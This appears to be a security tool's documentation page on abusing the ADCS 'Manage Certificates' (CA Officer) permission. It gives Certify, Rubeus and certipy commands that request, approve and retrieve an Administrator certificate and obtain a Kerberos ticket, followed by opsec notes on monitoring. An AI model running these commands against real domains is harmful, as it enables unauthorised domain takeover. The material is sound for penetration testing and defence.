ManageCertificates

The principal has the “Manage Certificates”, also known as “CA Officer”, permission on the Enterprise CA.

This permission allows the principal to approve certificate requests that require manager approval and to modify certain properties (e.g., adding extensions to pending certificates). It does not by itself guarantee a privilege escalation but often removes a final barrier (manager approval) in ADCS abuse paths.

Abuse Info

An attacker can identify ADCS escalation opportunities where manager approval on a template prevents direct abuse, but leverage the Certificate Manager role to approve the pending request. Alternatively, the role can be abused to add an extension to pending certificates (e.g., to insert a group-linked issuance policy in environments using Authentication Mechanism Assurance (AMA)). See Certify wiki - Escalation Techniques - ManageCertificates for details.

Windows

Request a certificate that requires manager approval (example ESC1 scenario):

Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template CustomUser --upn Administrator --sid S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-500

Note the printed private key and request ID. Approve the certificate:

Certify.exe manage-ca --ca ca01.corp.local\CORP-CA01-CA --issue-id 1337

Download the issued certificate with the embedded private key (Base64 PFX):

Certify.exe request-download --ca ca01.corp.local\CORP-CA01-CA --id 1337 --private-key <Base64PrivateKey>

Authenticate using the certificate (Rubeus example):

Rubeus.exe asktgt /user:Administrator /certificate:<Base64PFX> /ptt

Linux

Approve a pending request:

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username [e-mail] -password 'Passw0rd'

Retrieve the issued certificate:

certipy req -username [e-mail] -password 'Passw0rd' -ca corp-DC-CA -target ca.corp.local -retrieve 785

Opsec Considerations

Approving requests generates issuance events and stores issued certificates on the CA host. Repeated approvals or unusual patterns (e.g., high-value templates) may be monitored. Added extensions or policy changes may be auditable depending on CA logging configuration.

Edge Schema

Source: User, Group, Computer
Destination: EnterpriseCA
Traversable: Yes

References

This edge is related to the following MITRE ATT&CK tactic and techniques:

• T1649: Steal or Forge Authentication Certificates

Abuse and Opsec references

• Certified Pre-Owned
• Certify wiki - Escalation Techniques - ManageCertificates
• ESC7: Dangerous Permissions on CA (Certipy wiki)